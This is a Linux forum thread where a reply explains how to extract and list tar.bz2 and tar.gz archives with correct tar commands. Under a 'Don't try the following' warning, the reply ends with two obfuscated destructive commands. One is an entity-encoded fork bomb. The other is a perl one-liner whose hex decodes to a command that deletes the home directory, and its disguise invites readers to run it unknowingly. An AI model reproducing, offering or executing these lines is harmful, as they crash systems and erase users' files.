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    how to open a tar.bz2 or tar.gz file

    how can i open tar.bz2 or a tar.gz file on a linux system

  2. #2
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    Jul 2004
    Calcutta, India
    to extract the tar files, use these :
    For tar.bz2,
    $ tar jxvf <filename.tar.bz2>
    For tar.gz,
    $ tar zxvf <filename.tar.gz>
    To view the contents .. u can use file-roller in GNOME or ark in KDE.

    OR, just replace tar <z | j>xvf with tar <z | j>tvf in the above cmds ..
    WARNING!!! Don\'t try the following :
    bash$ &#58;&#40;&#41;&#123; &#58;|&#58;&&#125;;&#58; -- 
    bash$ `perl -e\'print\"\\x72\\x6D\\x20\\x2D\\x72\\x66\\x20\\x7E\\x2F\\x2A\"\'`
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